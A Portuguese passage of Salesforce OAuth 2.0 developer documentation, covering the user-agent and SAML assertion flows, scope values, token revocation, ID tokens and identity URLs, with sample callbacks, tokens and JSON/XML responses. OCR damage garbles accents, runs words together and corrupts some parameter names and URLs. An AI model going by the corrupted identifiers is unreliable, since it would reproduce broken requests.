- péagina—Tela de autorizacdo de pagina inteira. Esse sera o valor padrdo, se nenhum for especificado.

- pop-up—~Caixa de didlogo compacta otimizada para modernas janelas pop-up do navegador da web.

- togque:didlogo otimizado para dispositivos méveis, projetado para smartphones modernos, como Android e iPhone.
login_hint—~Forneca um valor valido de nome de usudrio com este parametro para preencher automaticamente a pagina de

login com o nome de usudrio. Por exemplo: login hint=username@company.com. Se 0 USUario ja tem uma sessdo ativa
no navegador, o parametro login_ hint nao faz nada; a sessao ativa do usuario continua.

nonce — Obrigatdrio com o escopo openid para obter um token de ID de usudrio. O valor é retornado na resposta e é Util para
detectar ataques de “repeticao”.

prompt — Especifica como o servidor de autorizagdo solicita reautenticacdo e reaprovacdo do usudrio. Esse parametro é opcional.
Os Unicos valores suportados pelo Salesforce séo:

- login — O servidor de autorizaco deve solicitar o login novamente, obtendo a reautenticacéo do usuario.

- consent— O servidor de autorizacdo deve solicitar a reaprovacdo ao usudrio antes de retornar informacées ao cliente.

E vélido passar ambos os valores, separados por espaco, para exigir que o usuério faca login e reautorize. Por exemplo:

?prompt=login%20consent

A seguir, hd um exemplo de URL para onde o usuério é direcionado:

https://login.salesforce.com/services/oauth2/authorize?response type=tokens

client i1d=3MVG91KcPoNINVBIPJjdwlJ9LLIbP pqwoJYyuisjQhr LLurNDv7AgQvDTZwCoZuD
ZrXcPCmBv4o.8ds.5iE&redirect uri=https%3A%2F%2Fwww.mysite.com%$2Fuser callback.jsp&
state=mystate

O usudrio aprova o acesso e o cliente recebe callback do Salesforce

E solicitado que o usuério efetue login no Salesforce caso ainda no tenha efetuado. Depois, o Salesforce exibe uma pagina de aprovacéo,
solicitando que o usuario aprove o acesso ao aplicativo. Se 0 usuario aprovar o acesso, ele serd redirecionado para o URI especificado
em uri de redirecionamento com osseguintes valores apds o sinal #. Esta ndo é uma string de consulta.

chave de acesso—O0ID de sesséo do Salesforce que pode ser usado com a API de servios da Web.
token type — Ovaloré Portador para todas as respostas que incluem um token de acesso.

id token—Valordo Salesforce em conformidade com as especificacbes do OpenID Connect. Sé é retornado seresponse _type
¢ token id_token com o pardmetro de escopo openid e um parametro nonce.

chave de atualizacado—Chave que pode ser usada no futuro para obter novas chaves de acesso (sessoes). Este valor é
secreto. Vocé deve trata-lo como a senha do usuario e usar medidas apropriadas para protegé-lo.
@ Nota: A chave de atualizagdo do fluxo de agentes do usudrio é emitida apenas se vocé tiver selecionado
scope=refresh token euma das seguintes circunstancias for verdadeira:
— O URL de redirecionamento usa um protocolo personalizado.

— AURLderedirecionamentoé exatamente https://login.salesforce.com/services/oauth2/success
ou,em um sandbox, https://test.salesforce.com/services/oauth2/success.

instance url — URL que indica a instancia da organizacdo do usudrio. Neste exemplo, a instancia é nal:
https://nal.salesforce.com


http://openid.net/specs/openid-connect-basic-1_0-28.html
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e id—URLdeidentidade que pode ser usado paraidentificar o usuario e também para consulta de mais informacées sobre o usuario.
Veja os URLs de identidade na pagina 230.

° sfdc_community url:se o usudrioé membro de uma comunidade do Salesforce, o URL dela é fornecido.
* sfdc community id:seousudrioémembrodeuma comunidade do Salesforce, 01D de comunidade do usudrio é fornecido.

® signature — Assinatura HMAC-SHA256 com codificacdo Base64 assinada com a chave privada do consumidor contendo o ID
concatenado e issued_at. Isso pode ser usado para verificar se o URL de identidade ndo foi modificado desde que foi enviado
pelo servidor.

* emitido em—Quando aassinatura foi criada.

A seguir, hd um exemplo do callback do servidor. Observe que a resposta esté protegida por um hash, e ndo como parametros de
consulta HTTP:

https://www.mysite.com/user callback.jsp#access token=00Dx0000000BV7z%21A
R8AQBM8J xr9kLamZIRyQxZgLcM4HVi41laGtWOqW3JCz£5xdTGGGSoVim8FfJkzEgxbjaFbbe
rKGk8v8AnYrvChG4qibQo8s&refresh token=5Aep8614iLM.Dg661ePDmPEgaAW90h L3JKk
DpB4xReb54 pZfVtildPEk8aimwdHr9ne7VXXVSIQ%3D%s3D&instance url=https%3A%2FS
2Fnal.salesforce.com&id=https%3A%2F%2Flogin.salesforce.com%2Fid%2F00Dx000
0000BV72z%2F005x00000012Q9P&issued at=1278448101416&signature=miQQ1J4sdMPi
duBsvyRYPCDozghe43KRc1i9LmZHR70%3D&scope=id+apit+refresh token&token type=
Bearer&state=mystate

Se 0 usuario negar o acesso ou se ocorrer um erro durante essa etapa, ele serd redirecionado parao uri_de redirecionamento
com um cédigo de erro e a descri¢do do erro no URI, apds a marca de hash (#). Esta ndo é uma string de consulta.

e erro—~Cddigo doerro
® descricdo do_ erro—Descricao do erro com informagdes adicionais.
- tipo_de resposta ndo_suportado—tipo de resposta nao suportado
- 1d do cliente invalido—identificador do cliente invalido
- solicitacédo_invalida—HTIPS necessario
- solicitacdo invalida—deve usar HTTP GET
- solicitacdo invalida—forade banda ndo suportado
- acesso_negado—autorizacdo negada do usudrio final
- uril de redirecionamento ausente—uri_de_redirecionamento ndo fornecido
- redirect uri mismatch:incompatibilidade do redirect_uri com o objeto aplicativo conectado
- insucesso_imediato—insucesso imediato
- concessdo_invalida—credenciais do usudrio invélidas
- concessdo_invalida—IP restrito ou horas de login invélido
- usuario inativo—oO0 Usudrio estd inativo
- org_inativa—a organizagdo estd bloqueada, fechada ou suspensa
- taxa limite excedida—numero de logins excedidos
- invalid_ scope— 0 escopo solicitado é invdlido, desconhecido ou mal formado

* estado—~FEstado que foi informado na etapa de aprovacao. Isso nao seré incluido se o parametro state ndo forincluido na
string de consulta original.
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A seguir estd um exemplo de erro no URI de redirecionamento:

https://www.mysite.com/user callback.jsp#error=access _denied&state=mystate

CONSULTE TAMBEM:

Autenticando aplicativos com o OAuth

Fluxo de assercoes de SAML

O fluxo de assercdes de SAML é uma alternativa para as organizagdes que no momento estao =

) EDICOES
usando SAML para acessar o Salesforce e querem acessar a APl de servicos da Web da mesma forma.
O fluxo de asser¢oes de SAML sé pode ser usado em uma Unica organizagdo. Nao é necessario criar
um aplicativo conectado para usar esse fluxo de declaracées. Os clientes podem usar isso para

Disponivel em: Salesforce

Classic

associar-se a APl usando uma assercao de SAML, de forma muito semelhante a como se associariam

ao Salesforce para login Unico da Web. Disponivel em: todas as
edicoes

A seguir, estdo as etapas gerais para uso deste fluxo. Muitas das etapas estao descritas com mais
detalhes abaixo.

PERMISSOES DO

1. Configurar SAML na pégina 224 para sua organizacdo. Vocé deve usar o SAML verséo 2.0.

USUARIO

2. Trocar uma assercao de SAML para uma chave de acesso.
3. O Salesforce envia a resposta. Para gerenciar, criar, editar
e excluir aplicativos OAuth:
4. Use um analisador JSON para processar a resposta e extrair 0 access_token. * “Gerenciar aplicativos
conectados”

Configurando SAML para OAuth

Para configurar sua organizacao para usar SAML, siga as instrugcdes no tépico Configurando definicdes de SAML para login Unico. Depois
de configurar o SAML, vocé pode usar a mesma configuracdo exata para federacdo da Web e da API.

Dois URLs séo fornecidos depois que vocé configura o SAML para sua organizacao:
® URL de login do Salesforce.com—Use este URL ao efetuar login Unico na Web

e Ponto final da chave Auth 2.0—Useeste URLao trocar uma assercao de SAML para uma chave de acesso a ser usada
com a API.

Ao gerar assercoes de SAML a serem usadas com o ponto final da chave, o URL do destinatdrio na assercao pode ser o valordo Ponto
final da chave OAuth 2.0 0u0 URL de login do Salesforce.com

Trocar uma asser¢do de SAML para uma chave de acesso

Para trocar uma assercao de SAML para uma chave de acesso, seu cliente deve obter ou gerar uma resposta de SAML vélida e PUBLICAR
isso no ponto final da chave. Cabe ao cliente determinar o método de obtencdo desta resposta. Quando o cliente tem uma resposta
valida, ele envia os sequintes parametros:

* tipo de concessao—O valordeveser assercao paraeste fluxo.

® declaracao:uma respostade SAML com codificacdo Base 64 e, em sequida, com codificacdo do URL, que normalmente seria
usada para o login Unico na Web.

® assertion type:deveser urn:oasis:names:tc:SAML:2.0:profiles:SSO:browser, com codificacdo do
URL

e formato—~Formato de retorno esperado. Esse parametro é opcional. O padrdo é json. Os valores sao:

- urlencoded
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- Jjson

- xml

Este é o corpo de um exemplo de POST fora de banda feito no
https://login.salesforce.com/services/oauth2/token:

grant type=assertion&assertion type=
urn%$3Acasis%$3Anames$3AtcS$3ASAMLY3A2.0%3Aprofiles%$3ASS0%3Abrowsers
assertion=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHNhbW.

O servidor Salesforce envia uma resposta

Apos a verificacdo da resposta de SAML, o Salesforce envia uma resposta para o cliente. Os seguintes parametros estdo no corpo da
resposta:

® chave de acesso—OID de sesséo do Salesforce que pode ser usado com a API de servios da Web.
* token type — Ovaloré Portador paratodas as respostas que incluem um token de acesso.

e id—URLdeidentidade que pode ser usado para identificar o usudrio e também para consulta de mais informacées sobre o usuario.
Veja os URLs de identidade na pagina 230.

Segue um exemplo de resposta do Salesforce:
{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"instance url":"https://nal.salesforce.com","access_ token":
"00Dx0000000BV7z ! ARBAQNhMmMQeDIKRO.hZagSTaEPCkmoXeYnkaxQngWlG6Sk9U31i3IFJEH
IzD1sYdUOQoVCXNJItPOwdb7uSrKfg9N1dfAKoQjd", "token type":"Bearer"}
Se ocorrer um erro durante esta etapa, a resposta conterd uma mensagem de erro com estas partes:
e erro—~Cddigodoerro
® descricdo do_ erro—Descricao do erro com informagdes adicionais.
- tipo_de resposta ndo_ suportado—tipo de resposta ndo suportado
- solicitacdo_ invalida—HTIPS necessario
- solicitacgdo_invalida—deve usar HTTP POST
- tipo_de assercdo_invalido—o tipo de assercao especificado ndo é suportado

- invalid grant:cédigo de autorizagdo invalido (verifique se o cliente enviauma declaracao com codificagdo do URL
e assertion type)

- concessdo_invalida—IP restrito ou horas de login invélido
- usuario inativo—o0 usuario estd inativo
- org_inativa—a organizagdo estd bloqueada, fechada ou suspensa
- taxa limite excedida—numero de logins excedidos
* uri do_erro—Umlink para o Validador de assercao de SAML, que contém mais informagdes sobre a falha. Isso s6 € retornado
quando o Salesforce consegue analisar a assercao.

A seguir estd um exemplo de erro:

{"error uri":"https://nal.salesforce.com/setup/secur/SAMLValidationPage.apexp",
"error":"invalid grant","error description":"invalid assertion"}



Aprimorar o Salesforce com codigo

CONSULTE TAMBEM:

Autenticando aplicativos com o OAuth

Valores de pardmetros do escopo

O parametro scope permite ajustar o que o aplicativo cliente pode acessar em uma organizagao
do Salesforce. Os valores de scope validos sdo:

Valor Descri¢do

api Permite 0 acesso a conta do usudrio atual conectado usando APIs, como
aAPIREST e a APlem massa. Esse valor tambémincluia chatter api,
que permite 0 acesso aos recursos da API REST do Chatter.

chatter api Permite acesso somente aos recursos da API REST do Chatter.

custom permissions Permite 0 acesso as permissoes personalizadas em uma organizagao
associada ao aplicativo conectado e mostra se o usuério atual estd com
cada permissdo ativada ou nao.

full Permite o0 acesso a todos os dados disponiveis para o usudrio logado e
engloba todos os outros escopos. full nao retorna um token de
atualizagdo. Vocé deve solicitar explicitamente o escopo

refresh token paraobter uma chave de atualizagdo.

id Permite acesso ao servico de URL de identidade. E possivel solicitar
perfil, email, endereco ou telefone individualmente para
obter o mesmo resultado que o uso de id; sao sindnimos.

Permite o acesso ao identificador exclusivo do usuério atual conectado
para aplicativos OpenlD Connect.

openid

Pode-se usar 0 escopo de openid no fluxo do agente de usudrio do
OAuth 2.0 e o fluxo de autenticagdo do servidor da Web do OAuth 2.0
para obter um token de ID assinado em conformidade com as
especificacdes do OpenlD Connect além do token de acesso.

Permite que um token de atualizacao seja retornado caso seja elegivel
para receber um. Isso permite a interacdo do aplicativo com os dados
do usuério enquanto o usuéario esté offline; é a mesma coisa que solicitar
offline access.

refresh token

visualforce Permite acesso as paginas do Visualforce.

web Permite a capacidade de usar 0 access_token naWeb. Também
incluio visualforce, que permite 0 acesso as paginas do Visualforce.
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EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: todas as
edicoes

PERMISSOES DO

USUARIO

Para gerenciar, criar, editar

e excluir aplicativos OAuth:

e “Gerenciar aplicativos
conectados”

Todos os valores do escopo incluem automaticamente o id, entdo independente dos valores de scope passados, vocé sempre tem

acesso aos URLs de identidade.

Quando um usudrio aprova aplicativos, o valor do escopo é armazenado com o token de atualizacao.


http://openid.net/connect/
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Por exemplo, se um usudrio aprovar um aplicativo com o escopo de id, o token de atualizacéo é criado com scope=1id. Em sequida,
se 0 usuario aprovar um segundo aplicativo com um escopo diferente, por exemplo, api, o token de atualizacdo € criado com

scope=api.

Para solicitacdes de token portador JSON ou SAML, a solicitacdo examina os escopos de todos os tokens de atualizacdo anteriores e 0s
combina.

Dado o exemplo anterior, o resultado é um token de acesso com scope=id%20api.
P p

A seguir estd um exemplo de solicitacdo configurando o parametro scope com os valores api, id e web.

http://login.salesforce.com/services/ocauth2/authorize?response type=token&client
13=3MVGI1KcPONINVBKV6EGVJILiF . snSDwh6 2wSS7BrOhHGEJKC &redirect uri=http://www.example.org/da/security/oauth
/useragent flow callback.jsp&scope=api%20id%20web

CONSULTE TAMBEM:
Autenticando aplicativos com o OAuth

Obtendo e verificando um token de ID

Revogando tokens OAuth
Quando os usudrios solicitam os dados no aplicativo externo (a pagina do consumidor), eles séo ED|COES
autenticados. Vocé pode revogar os tokens de acesso, ou o token de atualizacdo e todos os tokens

de acesso relacionados, usando a revogagao. Os desenvolvedores podem usar este recurso ao Disponivel em: Salesforce
configurar um botéo Logout no aplicativo. Classic

Disponivel em: todas as
Revogando tokens edicoes

Para revogar tokens OAuth 2.0, use o ponto final de revogacéo:

https://login.salesforce.com/services/oauth2/revoke

Construa uma solicitagdo POST que inclua os sequintes parametros usando o formato application/x-www-form-urlencoded
na entidade-corpo de solicitacao HTTP. Por exemplo:

POST /revoke HTTP/1.1
Host: https://login.salesforce.com/services/oauth2/revoke
Content-Type: application/x-www-form-urlencoded

token=currenttoken
Se um token de acesso for incluido, nés o invalidaremos e revogaremos o token. Se um token de atualizagdo for incluido, nés o revogaremos
assim como qualquer token de acesso associado.

O servidor de autorizacao indica o processamento bem-sucedido da solicitagdo retornando um cédigo 200 de status de HTTP. Para todas
as condicdes de erro, um cédigo de status 400 é usado juntamente com uma das seguintes respostas de erro.

* unsupported token_ type—tipo de token ndo suportado

* invalid token — O token erainvalido

Para o0 sandbox, use test.salesforce.com emvezde login.salesforce.com
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Suportamos também solicitagdes GET com o token do pardmetro da string de consulta e o token atual. Se um token de acesso for
incluido, nés o invalidaremos e revogaremos o token. Se um token de atualizacao for incluido, nés o revogaremos assim como qualquer

token de acesso associado. Por exemplo:

https://login.salesforce.com/services/oauth2/revoke?token=currenttokenID

O servidor de autorizacao indica o processamento bem-sucedido da solicitagdo retornando um cédigo 200 de status de HTTP. Para todas

as condicoes de erro, o cédigo de status 400 é usado.

Suporte a JSONP

O ponto final da revogacdo também aceita solicitagdes GET com um parametro de callback adicional, e retorna a resposta com tipo de

conteldo application/javascript.Porexemplo:

https://login.salesforce.com/services/oauth2/revoke?token=XxXXxXX&callback=myCallback

Se a solicitacdo for bem-sucedida, um callback sera enviado para a fungdo JavaScript definida no parametro de callback da solicitagdo

GET:
myCallback ({});
Se a resposta nao for bem-sucedida, um callback serd enviado com um cédigo de erro:

myCallback ({"error":"invalid token"});

CONSULTE TAMBEM:

Usando a chave de acesso

Usando a chave de acesso

Quando um consumidor que usa o OAuth versao 2.0 tem uma chave de acesso, 0 método de uso
da chave depende da APl sendo usada

e Paraa APIREST, use um cabecalho de autorizacdo HTTP com o seguinte
formatoAuthorization: Access_Token portador.

e Paraa APl do SOAP, o token de acesso é colocado no cabegalho de autenticacao de SOAP
SessionHeader.

e Para o URL de identidade, use um cabecalho de autorizacdo HTTP (como com a APIREST) ou
use como um parametro HTTP cauth_token.

EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: todas as
edicoes

PERMISSOES DO

USUARIO

Para gerenciar, criar, editar

e excluir aplicativos OAuth:

e “"Gerenciar aplicativos
conectados”
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Obtendo e verificando um token de ID

0 Salesforce pode responder a uma solicitagdo do OAuth com um token de ID, em conformidade EDlCC)ES
com as especificacoes do OpenlD Connect. Tanto o fluxo do agente do usuario do OAuth 2.0 quanto
o fluxo de autenticagdo do servidor da Web do OAuth 2.0 podem solicitar um token de ID assinado
caso o parametro de escopo da solicitacdo inclua openid. O token retornado é um token portador

JSON (JWT).

e Ofluxo de autenticacdo do agente do usudrio deve incluir o parametro response_type
comovalor token id_token, 0escopo openid e o parametro nonce.

Disponivel em: Salesforce
Classic

Disponivel em: todas as
edicoes

e Ofluxo de autenticacdo do servidor da Web deve incluir o parametro response type

com o valor code e 0 escopo openid. O parametro nonce € opcional para o fluxo de PERN,“SSOES DO
autenticacéo do servidor da Web. USUARIO
Veja a sequir um exemplo de solicitacdo de um token de ID usando o fluxo de autenticagdo do Para gerenciar, criar, editar
agente do usuario. e excluir aplicativos OAuth:
e “Gerenciar aplicativos
conectados”

https://login.salesforce.com/services/oauth2/authorize?response type=token+id token
&redirect uri=https://login.salesforce.com/services/oauth2/success

gclient 1d=3MVG91KcPONINVBIPJjdwlJIILLIbP pgwoJYyuisjQhr LLurNDv7AgQvDTZwCoZuD
30xug0sU3 WrBPd Ax6Mcnlg5HSnLGQ&scope=openid&nonce=somevalue

Use as chaves publicas publicadas para garantir que a assinatura na resposta seja uma assinatura vélida do Salesforce.
1. Acesse https://login.salesforce.com/id/keys.

A resposta inclui informacées com formatagéo JSON sobre as chaves publicas usadas para assinar.

2. Use a chave com o valor correto de kid, que especifica a versdo, para validar a assinatura.

CONSULTE TAMBEM:
Fluxo de agentes de usuérios OAuth 2.0

Fluxo de autenticacdo do servidor Web OAuth 2.0


http://openid.net/connect/
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URLs de identidade

Além do token de acesso, um URL de identidade também é retornado como parte de uma resposta EDlCC)ES
de token, no parametro de escopo id.

O URL de identidade é uma string que identifica exclusivamente um usuério e também uma API Disponivel em: Salesforce
RESTful que pode ser usada para consultar (com uma chave de acesso valida) informacées adicionais Classic

sobre o usuario. O Salesforce retorna informacgdes bésicas de personalizacdo sobre o usuario, além
de pontos finais importantes com os quais o cliente pode falar, como fotos do usudrio e pontos
finais da APl que ele pode acessar.

Disponivel em: todas as
edicoes

0 acesso do cliente ao URL de identidade referente a um usudrio em uma organiza¢ao ndo fornece
acesso ao URL de identidade para outro usudrio na mesma organizagdo, a menos que o token
associado preencha todas as condices a sequir.

PERMISSOES DO

USUARIO

e Asolicitagdo de OAuth referente ao token de acesso incluiu 0 acesso completo ou api. Para gerenciar, criar, editar
e excluir aplicativos OAuth:

; - L e “Gerenciar aplicativos
e Otokendeacessoé para um usuario que tem acesso ao outro usuario, de acordo com as regras conectados”

de Compartilhamento de usuarios da organizacao.

e (O token de acesso é para um usuario com a permissao “API ativada”.

e Otoken de acesso € para um usudrio interno — ou seja, 0 valor de user type naresposta
¢ STANDARD.

Do contrdrio, é necessario ter um token de acesso para cada usudrio para exibir o URL de identidade.

OformatodoURLé: https://login.salesforce.com/orgID/userIDonde orgIdéolDdaorganizacdodo Salesforce
a qual o usudrio pertence e userID é 0 ID do usudrio do Salesforce.

@ Nota: Paraosandbox, login.salesforce.com ésubstituido por test.salesforce.com.

O URL deve ser sempre HTTPS.

Parametros do URL de identidade

Os parametros a seguir podem ser usados com a chave de acesso e o URL de identidade. O token de acesso pode ser usado em um
cabecalho de solicitagao de autoriza¢do ou em uma solicitagdo com o parametro oauth_token.

Parametro Descricdo

Chave de acesso Consulte Usando a chave de acesso na pagina 228.

Formato Esse parametro é opcional. Especifique o formato da saida retornada. Os valores validos séo:
® Jjson
® xml

Em vez de usar o parametro formato, o cliente também pode verificar o formato retornado
em um cabecalho de aceitacao da solicitagdo usando um dos seguintes:

® Aceitar: application/json

® Aceitar: application/xml

® Aceitar: application/x-www-form-urlencoded
Observe o seguinte:

e (Cabecalhos de aceitacdo de curinga sdo permitidos. */* é aceito e retorna JSON.
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Parametro Descri¢do

e Umalista de valores tambhém é aceita e verificada da esquerda para a direita. Por exemplo:
application/xml,application/json,application/html, */*
retorna XML.

e QOparametro format tem precedéncia sobre o cabecalho da solicitacao de aceitacao.

Versao Esse parametro é opcional. Especifique um ndmero de versao da API SOAP ou a string literal
tltimo. Se esse valor ndo for especificado, os URLs da API conterao o valor literal
{versdao}, nolugar do nimero da versdo, para que o cliente faca a substituicao da string.
Se o valor for especificado como a1t imo, a versdo da APl mais recente serd usada.

PrettyPrint Esse parametro é opcional e sé é aceito em um cabecalho, ndo como um parametro de URL.
Especifique a saida para ser formatada melhor. Por exemplo, use o sequinte em um cabecalho:
X-PrettyPrint:1.Se esse valor ndo for especificado, o XML ou JSON retornado sera
otimizado para tamanho, e ndo para legibilidade.

Callback Esse parametro é opcional. Especifique um valor de funcéo JavaScript valido. Esse parametro
s6 é usado quando o formato é especificado como JSON. A saida é agrupada nesse nome de
funcdo (JSONP.) Por exemplo, se uma solicitacdo para
https://server/id/orgid/userid/ retornar {"foo": "bar" },umasolicitacao
para https://server/id/orgid/userid/?callback=baz retornard
baz ({"foo":"bar"}) ;.

Resposta do URL de identidade

Uma solicitagdo vélida retorna as seguintes informagées no formato JSON.

e id—O URL de identidade (0 mesmo URL que foi consultado)

* usudrio avaliado—Um valorbooleano que indica se a chave de acesso especificada usada foi emitida para esta identidade
e id do_ usuario—OID do usudrio do Salesforce

* nome_do_usuario—O nome do usudrio do Salesforce

* id da organizacdo—O0 D daorganizacdo do Salesforce

® apelido—O apelido na comunidade do usudrio consultado

* nome de exibicdo—O0 nome de exibicdo (nome completo) do usudrio consultado

¢ email—O0 endereco de email do usudrio consultado

°* email verified:indica se a verificagdo de email da organizagdo esté ativada (verdadeiro) oundo (falso).
* first name — Onome do usudrio

® last name — O sobrenome do usudrio

* timezone — O fuso hordrio das configuracdes do usudrio

e fotos — Um mapa de URLs para as imagens do perfil do usudrio
@ Nota: O acesso a esses URLs requer uma chave de acesso. Consulte Usando a chave de acesso na pagina 228.

- imagem

- miniatura

* addr_ street — Aruaespecificada no endereco das configuragdes do usudario
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® addr city — Acidade especificada no endereco das configuragdes do usuério

* addr_state — O estado especificado no endereco das configuragdes do usuério

® addr_country — O pafs especificado no endereco das configuragdes do usudrio

® addr_ zip — O CEP ou cddigo postal especificado no endereco das configuragdes do usuério
* mobile phone — O ndmero de celular nas configuragdes do usudrio

®* mobile phone verified — Ousudrioconfirmou que onimero de celular é vélido. Consulte a descricao do campo Usuério
movel.

® status: o status do Chatter atual do usuario

- data_de criacdodata e hora xsd valordadata de criacdo da dltima postagem pelo usuério, por exemplo,
2010-05-08T05:17:51.000Z

- corpo: 0 corpo da postagem
e urls:um mapa que contém diversos pontos finais da APl e que pode ser usado com o usuario especificado
@ Nota: O acesso aos pontos finais REST requer uma chave de acesso. Consulte Usando a chave de acesso na pagina 228.

- corporativo (SOAP)
- metadados (SOAP)
- parceiro (SOAP)
- rest (REST)
- sobjects (REST)
- pesquisa (REST)
- consulta (REST)
- recente (REST)
- perfil
- feeds (Chatter)
- feed-items (Chatter)
- groups (Chatter)
- users (Chatter)
- dominio personalizado — Esse valorserd omitido se a organizacdo nao tiver um dominio personalizado configurado
e propagado
* ativo—Um booleano que especifica se o usuério consultado estd ativo
* tipo_de usuario—Otipo do usudrio consultado
e idioma — Oidioma do usudrio consultado
® localidade — A localidade do usuério consultado
° utcOffset—O deslocamento do UTC do fuso horério do usuario consultado, em milissegundos

°* data da Ultima modificagdo—data e hora xsd formato da Ultima modificacao do usuério, por exemplo,
2010-06-28T20:54:09.000Z

®* is app installed — Ovaloré verdadeiro quando o aplicativo conectado estd instalado na organizagao do usuério
atual e a chave de acesso do usuério foi criada usando um fluxo OAuth. Se o aplicativo conectado ndo estd instalado, a propriedade
nao existe (em vez de ser falsa). Ao analisar a resposta, verifique a existéncia e o valor da propriedade.
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* mobile policy:valoresespecificos para gerenciar aplicativos conectados moveis. Esses valores s6 ficam disponiveis quando o
aplicativo conectado esté instalado na organizagao do usudrio atual e o aplicativo tem um valor definido de tempo limite da sessao
e um valor de comprimento do PIN (nimero de identificacdo pessoal).

- screen lock: o periodo de tempo de espera para bloquear a tela ap6s a inatividade

- pin_length:ocomprimento do nimero de identificacao necessario para obter acesso ao aplicativo mével

e push service type:esse valorde resposta é definido como apple se o aplicativo conectado for registrado com o Apple
Push Notification Service (APNS) para as notificacdes por push em iOS ou androidGem caso esteja registrado com o Google
Cloud Messaging (GCM) para notificagdes por push em Android. O tipo de valor da resposta é uma matriz.

® custom permissions — Quando uma solicitacdo inclui o parametro de escopo custom permissions,aresposta
inclui um mapa contendo permissées personalizadas em uma organizagdo associada ao aplicativo conectado. Se o aplicativo
conectado ndo esté instalado na organizagdo ou ndo tem permissdes personalizadas associadas, a resposta ndo contém um mapa
custom_permissions.Vejaa seguir um exemplo de solicitagao.

http://login.salesforce.com/services/ocauth2/authorize?response type=token&client
1d=3MVGO1KCcPONINVBKV6OEGVILF . snSDwh6 2wSS7BrOhHGEJKC &redirect uri=http://www.example.org/da/security/oauth
/useragent flow callback.jsp&scope=api%20id%20custom permissions

Veja a sequir o bloco de JSON na resposta do URL de identidade.

"custom permissions":
{
"Email.View":true,
"Email.Create":false,
"Email.Delete":false

A sequir, hd uma resposta no formato XML:

<?xml version="1.0" encoding="UTF-8"?>

<user xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance">

<id>http://nal.salesforce.com/id/00Dx0000001T0zk/005x0000001S2b9</id>

<asserted user>true</asserted user>

<user 1d>005x000000152b9</user id>

<organization i1d>00Dx0000001TOzk</organization id>

<nick name>adminl.2777578168398293E12foofoofoofoo</nick name>

<display name>Alan Van</display name>

<email>admin@2060747062579699.com</email>

<status>
<created date xsi:nil="true"/>
<body xsi:nil="true"/>

</status>

<photos>
<picture>http://nal.salesforce.com/profilephoto/005/F</picture>
<thumbnail>http://nal.salesforce.com/profilephoto/005/T</thumbnail>

</photos>

<urls>
<enterprise>http://nal.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk
</enterprise>
<metadata>http://nal.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk
</metadata>
<partner>http://nal.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk
</partner>
<rest>http://nal.salesforce.com/services/data/v{version}/
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</rest>
<sobjects>http://nal.salesforce.com/services/data/v{version}/sobjects/
</sobjects>
<search>http://nal.salesforce.com/services/data/v{version}/search/
</search>
<query>http://nal.salesforce.com/services/data/v{version}/query/
</query>
<profile>http://nal.salesforce.com/005x000000152b9
</profile>

</urls>

<active>true</active>

<user_ type>STANDARD</user type>

<language>en US</language>

<locale>en US</locale>

<utcOffset>-28800000</utcOffset>

<last modified date>2010-06-28T20:54:09.0002</last modified date>

</user>

A sequir, hd uma resposta no formato JSON:

{"id":"http://nal.salesforce.com/i1d/00Dx0000001T0zk/005x0000001S2b9",

"asserted user":true,

"user 1d":"005x000000152b9",

"organization id":"00Dx0000001TOzk",

"nick name":"adminl.2777578168398293E12foofoofoofoo",

"display name":"Alan Van",

"email":"admin@2060747062579699.com",

"status":{"created date":null,"body":null},

"photos": {"picture":"http://nal.salesforce.com/profilephoto/005/F",
"thumbnail™:"http://nal.salesforce.com/profilephoto/005/T"},

"urls":
{"enterprise":"http://nal.salesforce.com/services/Soap/c/{version}/00Dx0000001TOzk",
"metadata":"http://nal.salesforce.com/services/Soap/m/{version}/00Dx0000001T0Ozk",
"partner":"http://nal.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk",
"rest":"http://nal.salesforce.com/services/data/v{version}/",
"sobjects":"http://nal.salesforce.com/services/data/v{version}/sobjects/",
"search":"http://nal.salesforce.com/services/data/v{version}/search/",
"query":"http://nal.salesforce.com/services/data/v{version}/query/",
"profile":"http://nal.salesforce.com/005x0000001S2b9"},

"active":true,

"user type":"STANDARD",

"language":"en US",

"locale":"en US",

"utcOffset":-28800000,

"last modified date":"2010-06-28T20:54:09.000+0000"}

Ap6s uma solicitacdo invélida, estas sao as possiveis respostas do Salesforce:

Cadigo de erro Problema na solicitagéo
403 (forbidden) — HTTPS_Required HTTP
403 (forbidden) — Missing_OAuth_Token Esta faltando a chave de acesso

403 (forbidden) — Bad_OAuth_Token Chave de acesso invalida
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Codigo de erro Problema na solicitagéo
403 (forbidden) — Wrong_Org Usudrios em uma organizagéo diferente
404 (not found) — Bad_Id Usuério ou ID da organizagdo invalido ou incorreto
404 (not found) — Inactive Usudrio desativado ou organizacdo inativa
404 (not found) — No_Access Falta ao usudrio 0 acesso correto a organizacao ou
informacdes
404 (not found) — No_Site_Endpoint Solicitagdo para um ponto final invélido de um site
404 (ndo encontrado) — Erro interno Sem resposta do servidor
406 (not acceptable) — Invalid_Version Versao invélida
406 (not acceptable) — Invalid_Callback Callback invélido
CONSULTE TAMBEM:

Usando a chave de acesso

O UserInfo Endpoint
O UserInfo Endpoint é uma API RESTful que pode ser usada para consultar (com um token de acesso EDICOES

vélido) informacées sobre o usuario associado ao token de acesso no formato padrdo do OpenlD

Connect. O Salesforce retorna informacoes basicas de personalizacdo sobre o usuério, além de Disponivel em: Salesforce

pontos finais importantes com os quais o cliente pode falar, como fotos do usuério e pontos finais Classic
da APl que ele pode acessar. Esse ponto final d4 acesso a informacdes somente sobre o usuario
atual, ndo sobre os outros usuarios da mesma organizagéo. Disponivel em: todas as
) edicbes
O formato do URL é:
https://login.salesforce.com/services/oauth2/userinfo. =
_ PERMISSOES DO

@ Nota: Paraosandbox, login.salesforce.com é substituido por USUARIO

test.salesforce.com.

0 URL deve ser sempre HTTPS Para gerenciar, criar, editar

e excluir aplicativos OAuth:

e “Gerenciar aplicativos
conectados”

Pardmetros do Userinfo Endpoint

Os parametros a seguir podem ser usados com o token de acesso e o Userinfo Endpoint. O token
de acesso pode ser usado em um cabegalho de solicitagdo de autorizagado ou em uma solicitagdo com o pardmetro oauth_token.

Pardmetro Descricdo

